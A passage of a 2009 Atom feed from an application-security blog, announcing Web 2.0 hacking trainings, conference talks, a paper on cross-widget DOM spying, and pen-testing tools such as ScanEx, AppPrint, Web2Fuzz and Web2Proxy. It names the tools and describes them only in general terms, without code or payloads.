will be addresses – Why it is needed, What to do and how to achieve.&lt;br /&gt;&lt;br /&gt;Online meet - &lt;a href="http://www.brighttalk.com/summit/itaudit2"&gt;here &lt;/a&gt;(http://www.brighttalk.com/summit/itaudit2)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-861566226782600357?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/861566226782600357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/861566226782600357'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/09/talk-on-application-source-code-audit.html' title='Talk on - Application Source Code Audit - Why, What and How'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-3848842312258328012</id><published>2009-09-10T03:25:00.000-07:00</published><updated>2009-09-10T03:26:33.452-07:00</updated><title type='text'>ScanEx - Scanning for iframe and script Injections and External References (Beta)</title><content type='html'>This is a simple utility which runs against target site and look for external references and cross domain malicious injections. There are several vulnerable sites which get manipulated with these types of injections and compromised. The site gets registered with stopbadware and other databases as well. This tool helps in doing initial scanning to look from obvious injections. At this point it is looking into iframe and script tags as defined in regex file. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blueinfy.com/tools.html"&gt;Download&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-3848842312258328012?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3848842312258328012'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3848842312258328012'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/09/scanex-scanning-for-iframe-and-script.html' title='ScanEx - Scanning for iframe and script Injections and External References (Beta)'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-2995656842294828427</id><published>2009-09-08T06:19:00.000-07:00</published><updated>2009-09-08T06:21:31.457-07:00</updated><title type='text'>Paper from Blueinfy Labs - Cross Widget DOM Spying</title><content type='html'>Widgets, Gadgets or Modules are very common and powerful feature of Web 2.0 applications. It converts single loaded page in the browser to multi-threaded application. It allows end user to work on multiple little utilities and windows from one page. Widget framework is supported by various Ajax libraries and lot of code is getting created by developers to allow this feature. Once framework is in place various different users can leverage APIs and libraries to develop their own little widget and deploy on the application domain. Any user of the application can register that widget and start utilizing its feature. This scenario opens up possibility of Cross Widget DOM Spying. This paper is going to describe that scenario and its understanding.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blueinfy.com/wp/Cross%20Widget%20DOM%20Spying.pdf"&gt;Read here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-2995656842294828427?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2995656842294828427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2995656842294828427'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/09/paper-from-blueinfy-labs-cross-widget.html' title='Paper from Blueinfy Labs - Cross Widget DOM Spying'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-366790912000192540</id><published>2009-09-03T22:16:00.000-07:00</published><updated>2009-09-03T22:20:32.166-07:00</updated><title type='text'>Web 2.0 Hacking Training at BruCon...</title><content type='html'>Training Detail ...&lt;br /&gt;&lt;br /&gt;Introduction and adaptation of new technologies like Ajax, Rich Internet Applications and Web Services has changed the dimension of Application Hacking. We are witnessing new ways of hacking web based applications and it needs better understanding of technologies to secure applications. The only constant in this space is change. In this dynamically changing scenario in the era of Web 2.0 it is important to understand new threats that emerge in order to build constructive strategies to protect corporate application assets. Application layers are evolving and lot of client side attack vectors are on the rise like Ajax based XSS, CSRF, Widget injections, RSS exploits, Mashup manipulations and client side logic exploitations. At the same time various new attack vectors are evolving around SOA by attacking SOAP, XML-RPC and REST. It is time to understand these advanced attack vectors and defense strategies.&lt;br /&gt;&lt;br /&gt;The course is designed by the author of "Web Hacking: Attacks and Defense", “Hacking Web Services” and “Web 2.0 Security – Defending Ajax, RIA and SOA” bringing his experience in application security and research as part of curriculum to address new challenges. Application Hacking 2.0 is hands-on class. The class features real life cases, hands one exercises, new scanning tools and defense mechanisms. Participants would be methodically exposed to various different attack vectors and exploits. In the class instructor will explain new tools like wsScanner, scanweb2.0, AppMap, AppCodeScan etc. for better pen-testing and application audits.&lt;br /&gt;&lt;br /&gt;For more details see &lt;a href="http://www.brucon.org/index.php/Training_2"&gt;Web 2.0 Hacking – Attacks and Defense &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-366790912000192540?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shreeraj.blogspot.com/feeds/366790912000192540/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11830896&amp;postID=366790912000192540' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/366790912000192540'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/366790912000192540'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/09/web-20-hacking-training-at-brucon.html' title='Web 2.0 Hacking Training at BruCon...'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-3501987845218942066</id><published>2009-08-27T04:09:00.000-07:00</published><updated>2009-08-27T04:12:50.621-07:00</updated><title type='text'>Binging - Footprinting and Discovery Tool</title><content type='html'>Binging is a simple tool to query Bing search engine. It will use your Bing API key and fetch multiple results. This particular tool can be used for cross domain footprinting for Web 2.0 applications, site discovery, reverse lookup, host enumeration etc. One can use various different directives like site, ip etc. and run queries against the engine. On top of it tool provides filtering capabilities so you can ask for unique URLs or hosts. It is also possible to filter results by applying power of regular expression. Get your Bing API key and use this tool for your audit, assessment and research.&lt;br /&gt;                            &lt;div class="leftpaneltoolreadmore"&gt;&lt;a class="readmorelink" href="http://www.blueinfy.com/tools.html"&gt;&lt;b&gt;Download&lt;/b&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;                       &lt;div style="width:425px;text-align:left" id="__ss_1913746"&gt;&lt;a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/blueinfy/binging-footprinting-discovery-1913746" title="Binging - Footprinting &amp;amp; Discovery"&gt;&lt;/a&gt;&lt;object style="margin:0px" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=binging-090827035030-phpapp01&amp;stripped_title=binging-footprinting-discovery-1913746" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=binging-090827035030-phpapp01&amp;stripped_title=binging-footprinting-discovery-1913746" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"&gt;View more &lt;a style="text-decoration:underline;" href="http://www.slideshare.net/"&gt;documents&lt;/a&gt; from &lt;a style="text-decoration:underline;" href="http://www.slideshare.net/blueinfy"&gt;Blueinfy Solutions&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-3501987845218942066?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3501987845218942066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3501987845218942066'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/08/binging-footprinting-and-discovery-tool.html' title='Binging - Footprinting and Discovery Tool'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-5217296395455892828</id><published>2009-08-20T22:37:00.000-07:00</published><updated>2009-08-20T22:46:45.546-07:00</updated><title type='text'>AppPrint - Web, Application Server and Web 2.0 Fingerprinting tool (Beta)</title><content type='html'>AppPrint scans IP range, IP or host for Web and Application servers. It scans port 80 for a particular target and tries to deduce the banner using httprint methodology. This gives best guessed banner for Web Server. In next step it uses method of forced plug-in invoke and scan for application server type. At this point it tries to fingerprint Tomcat, WebLogic, WebSphere, Orion, ColdFusion and Resin. It also fingerprints Web 2.0 libraries and components. It requires .NET framework installed. In future version we will build several other technology mapping and fingerprinting technologies like Flash, Laszlo etc. Also, planning to add WAF fingerprinting module.&lt;br&gt;&lt;br&gt;&lt;br /&gt;                         &lt;div class="leftpaneltoolreadmore"&gt;&lt;a class="readmorelink" href="http://www.blueinfy.com/AppPrint.zip"&gt;&lt;b&gt;Download&lt;/b&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;                         &lt;div style="width:425px;text-align:left" id="__ss_1739398"&gt;&lt;a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/blueinfy/appprint-web-server-and-applciation-fingerprinting" title="AppPrint - Web Server and Applciation Fingerprinting"&gt;&lt;/a&gt;&lt;object style="margin:0px" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=appprint-090719022159-phpapp01&amp;stripped_title=appprint-web-server-and-applciation-fingerprinting" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=appprint-090719022159-phpapp01&amp;stripped_title=appprint-web-server-and-applciation-fingerprinting" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"&gt;View more &lt;a style="text-decoration:underline;" href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a style="text-decoration:underline;" href="http://www.slideshare.net/blueinfy"&gt;Blueinfy Solutions&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;                         &lt;div class="horidottedline" style="width:500px; height:20px;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-5217296395455892828?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shreeraj.blogspot.com/feeds/5217296395455892828/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11830896&amp;postID=5217296395455892828' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/5217296395455892828'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/5217296395455892828'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/08/appprint-web-application-server-and-web.html' title='AppPrint - Web, Application Server and Web 2.0 Fingerprinting tool (Beta)'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-5288908632402593972</id><published>2009-07-16T00:12:00.000-07:00</published><updated>2009-07-16T00:17:26.466-07:00</updated><title type='text'>Web2Fuzz - AppSec Labs Tool....</title><content type='html'>This tool is coded by our research and consulting team to test Web 2.0 applications. It is simple utility to check vulnerabilities while doing pen-testing and assessment. It is effective to use with Web2Proxy.&lt;br /&gt;&lt;br /&gt;Here is tool detail..&lt;br /&gt;&lt;span class="welcometxtgreen"&gt;Web2Fuzz (Beta)&lt;/span&gt;&lt;br /&gt;                        &lt;span class="greentitle"&gt;Web 2.0 Application Auto Fuzzing tool&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;                         This tool helps in fuzzing next generation application running on Web/enterprise 2.0 platform. It can be used with Web2Proxy by harvesting JSON, XML, JS-Object etc. from already profiled HTTP requests. Adding various fuzz loads and injecting them into particular request. One can encode fuzz load in various forms to pollute/poison Web 2.0 streams. It is possible to analyze responses by using various techniques like response behavior, stream structure or patterns. Tool contains sample payload and pdf/slides can help you in giving better understanding of its behavior.&lt;br /&gt;                          &lt;div class="leftpaneltoolreadmore"&gt;&lt;a class="readmorelink" href="http://www.blogger.com/Web2Fuzz.zip"&gt;&lt;b&gt;Download&lt;/b&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;                          &lt;div class="leftpaneltoolreadmore"&gt;&lt;a class="readmorelink" href="http://www.blogger.com/Web2.0-Tools.pdf"&gt;&lt;b&gt;PDF/Slides for tools&lt;/b&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;                      &lt;div style="width: 425px; text-align: left;" id="__ss_1728479"&gt;&lt;a style="margin: 12px 0pt 3px; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; display: block; text-decoration: underline;" href="http://www.slideshare.net/blueinfy/web20-tools" title=""&gt;&lt;/a&gt;&lt;object style="margin: 0px;" height="355" width="425"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=web2-0-tools-090716014710-phpapp01&amp;amp;stripped_title=web20-tools"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=web2-0-tools-090716014710-phpapp01&amp;amp;stripped_title=web20-tools" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="355" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="font-size: 11px; font-family: tahoma,arial; height: 26px; padding-top: 2px;"&gt;View more &lt;a style="text-decoration: underline;" href="http://www.slideshare.net/"&gt;documents&lt;/a&gt; from &lt;a style="text-decoration: underline;" href="http://www.slideshare.net/blueinfy"&gt;Blueinfy Solutions&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-5288908632402593972?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/5288908632402593972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/5288908632402593972'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/07/web2fuzz-appsec-labs-tool.html' title='Web2Fuzz - AppSec Labs Tool....'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-3979899723797076707</id><published>2009-06-06T20:46:00.000-07:00</published><updated>2009-06-06T20:49:02.201-07:00</updated><title type='text'>Web Hacking Training at Syscan</title><content type='html'>We are conducting 2 days hands-on training at Syscan 09. This event is going to be in Singapore starting from 30th June.&lt;br /&gt;&lt;a href="http://syscan.org/Sg/WebApplicationSecurity.html"&gt;&lt;br /&gt;Training detail over here...&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-3979899723797076707?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3979899723797076707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3979899723797076707'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/06/web-hacking-training-at-syscan.html' title='Web Hacking Training at Syscan'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-2359658156826307203</id><published>2009-04-29T01:36:00.000-07:00</published><updated>2009-04-29T01:40:59.542-07:00</updated><title type='text'>OWASP Event at Poland</title><content type='html'>Blueinfy is having training for a day at OWASP&lt;br /&gt;&lt;br /&gt;&lt;h3&gt; &lt;span class="mw-headline"&gt;Web 2.0 Hacking – Attacks &amp;amp; Countermeasures, &lt;i&gt;by Shreeraj Shah, Blueinfy&lt;/i&gt;&lt;/span&gt;&lt;/h3&gt; &lt;p&gt;Introduction and adaptation of new technologies like Ajax, Rich Internet Applications and Web Services has changed the dimension of Application Hacking. We are witnessing new ways of hacking web based applications and it needs better understanding of technologies to secure applications. The only constant in this space is change. In this dynamically changing scenario in the era of Web 2.0 it is important to understand new threats that emerge in order to build constructive strategies to protect corporate application assets. Application layers are evolving and lot of client side attack vectors are on the rise like Ajax based XSS, CSRF, Widget injections, RSS exploits, Mashup manipulations and client side logic exploitations. At the same time various new attack vectors are evolving around SOA by attacking SOAP, XML-RPC and REST. It is time to understand these advanced attack vectors and defense strategies.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.owasp.org/index.php/AppSecEU09Tutorials#Web_2.0_Hacking_.E2.80.93_Attacks_.26_Countermeasures.2C_by_Shreeraj_Shah.2C_Blueinfy"&gt;Detail on training&lt;/a&gt;&lt;/p&gt;&lt;p&gt;There is a talk on Web 2.0 Exploits as well.  &lt;a href="http://www.owasp.org/index.php/AppSecEU09"&gt;Agneda&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-2359658156826307203?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2359658156826307203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2359658156826307203'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/04/owasp-event-at-poland.html' title='OWASP Event at Poland'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-9155483214961849605</id><published>2009-04-25T01:16:00.000-07:00</published><updated>2009-04-25T01:19:22.786-07:00</updated><title type='text'>Web2Proxy (Beta)  - Web 2.0 Application Proxy, Profiling and Fuzzing tool</title><content type='html'>This tool helps in assessing next generation application running on Web/enterprise 2.0 platform. It profiles HTTP requests and responses at runtime by configuring it as proxy. It identifies structures like JSON, XML, XML-RPC etc. along with key HTTP parameters like cookie, login forms, hidden values etc. Based on profile one can take decision to trap and fuzz requests to identify potential vulnerabilities. This tool needs .NET framework and tested on Windows platform. We are adding several new features to upcoming edition.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blueinfy.com/tools.html"&gt;Blueinfy's tool page&lt;/a&gt;&lt;br /&gt;&lt;a href="http://blueinfy.com/demos/web2proxy.htm"&gt;Demo page for tool&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-9155483214961849605?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/9155483214961849605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/9155483214961849605'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/04/web2proxy-beta-web-20-application-proxy.html' title='Web2Proxy (Beta)  - Web 2.0 Application Proxy, Profiling and Fuzzing tool'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-2830764025078816316</id><published>2009-03-27T06:37:00.001-07:00</published><updated>2009-03-27T06:38:39.846-07:00</updated><title type='text'>Next class in Singapore...</title><content type='html'>We are having a class in Singapore on 12th April.&lt;br /&gt;&lt;a href="http://coseinc.com/education.html"&gt;Here&lt;/a&gt; is the detail on it.&lt;br /&gt;&lt;br /&gt;Looking forward to meet few folks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-2830764025078816316?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2830764025078816316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2830764025078816316'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/03/next-class-in-singapore.html' title='Next class in Singapore...'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-1651552031797461293</id><published>2009-02-25T20:32:00.000-08:00</published><updated>2009-02-25T20:39:36.256-08:00</updated><title type='text'></title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.net-security.org/insecuremag.php"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 220px; height: 280px;" src="http://2.bp.blogspot.com/_xyOlmjdroio/SaYbtpfrqFI/AAAAAAAAAH0/uVbm99hL9Lo/s320/issue-main-20.jpg" alt="" id="BLOGGER_PHOTO_ID_5306959681949509714" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Article on Web 2.0 cases and challenges is part of (IN)Secure magazine.&lt;br /&gt;&lt;br /&gt;You can read it over &lt;a href="http://www.net-security.org/insecuremag.php"&gt;here (March 09)&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Abstract for the article.&lt;br /&gt;&lt;br /&gt;Web 2.0 applications are emerging at a rapid pace and also penetrating deeper into the corporate structure as Enterprise 2.0 applications. Adaptations of Ajax, Flex, SOA, RSS Feeds, JSON structures, etc. are used continuously across applications. Old applications are getting a new look through these technologies and platforms, while fresh applications are written using only these building blocks.&lt;br /&gt;&lt;br /&gt;By the end of 2008 we have seen and assessed a good amount of applications that are now well molded into a Web 2.0 framework. A Web 2.0 application adaptation is not restricted to one industry segment but applicable to all verticals like financing, insurance, portals, etc. If the Internet is the network of networks then Web 2.0 can be perceived as the application of  applications.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-1651552031797461293?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shreeraj.blogspot.com/feeds/1651552031797461293/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11830896&amp;postID=1651552031797461293' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1651552031797461293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1651552031797461293'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/02/article-on-web-2.html' title=''/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_xyOlmjdroio/SaYbtpfrqFI/AAAAAAAAAH0/uVbm99hL9Lo/s72-c/issue-main-20.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-4068572472492586593</id><published>2009-01-26T04:08:00.000-08:00</published><updated>2009-01-26T04:11:52.779-08:00</updated><title type='text'>Infosecworld 08 - Presenting Research...</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.misti.com/includes/conferences/agendadetails.asp?pID=174&amp;amp;ISS=21541&amp;amp;SID=697525"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 196px; height: 51px;" src="http://1.bp.blogspot.com/_xyOlmjdroio/SX2oEMMxmKI/AAAAAAAAAHs/VlUAPtPDsKY/s320/infosec-world-08.jpg" alt="" id="BLOGGER_PHOTO_ID_5295573526805321890" border="0" /&gt;&lt;/a&gt;H8 Defending Against the Worst Web-Based Application Vulnerabilities in 2009 DEMO&lt;br /&gt;Date: Wednesday, 11 March 2009&lt;br /&gt;Time: 9:45am - 1pm&lt;br /&gt;Track: Application Security&lt;br /&gt;&lt;br /&gt;• Next generation attacks: SQL over JSON, XSS with RSS feeds, XPATH over SOAP&lt;br /&gt;• Understanding the wide-spread XSS and CSRF attacks – why they help to build the worst kind of next generation Web-based worms and viruses spread through cross domain iframes&lt;br /&gt;• Why scanning and detecting these application layer vulnerabilities are important for corporate enterprises&lt;br /&gt;• How to defend against these attacks by providing content filtering over HTTP both for incoming and outgoing&lt;br /&gt;• Source code scanning for Web 2.0 applications to protect applications against developer's mistakes&lt;br /&gt;• Key tools and methodologies for both attacks and defense&lt;br /&gt;&lt;br /&gt;&lt;a href="http://misti.com/default.asp?Page=65&amp;amp;ProductID=5539&amp;amp;ISS=21737&amp;amp;SID=658657"&gt;Go To InfoSecWorld&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-4068572472492586593?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4068572472492586593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4068572472492586593'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/01/infosecworld-08-presenting-research.html' title='Infosecworld 08 - Presenting Research...'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_xyOlmjdroio/SX2oEMMxmKI/AAAAAAAAAHs/VlUAPtPDsKY/s72-c/infosec-world-08.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-517240197843830768</id><published>2009-01-20T03:16:00.001-08:00</published><updated>2009-01-20T03:21:37.466-08:00</updated><title type='text'>HITB in Dubai</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://conference.hackinthebox.org/hitbsecconf2009dubai/"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 210px; height: 73px;" src="http://1.bp.blogspot.com/_xyOlmjdroio/SXWy7TuI2kI/AAAAAAAAAHk/wUTDUjLl8uc/s320/hitb-dubai.jpg" alt="" id="BLOGGER_PHOTO_ID_5293333669019703874" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;At HITB Dubai we are going to have web security training and presentation on our new research methodology for Application Source Code Scanning for Web 2.0 Applications.&lt;br /&gt;&lt;br /&gt;Here is a link to the training - &lt;a href="http://conference.hackinthebox.org/hitbsecconf2009dubai/?page_id=55"&gt;GO&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-517240197843830768?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/517240197843830768'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/517240197843830768'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2009/01/hitb-in-dubai.html' title='HITB in 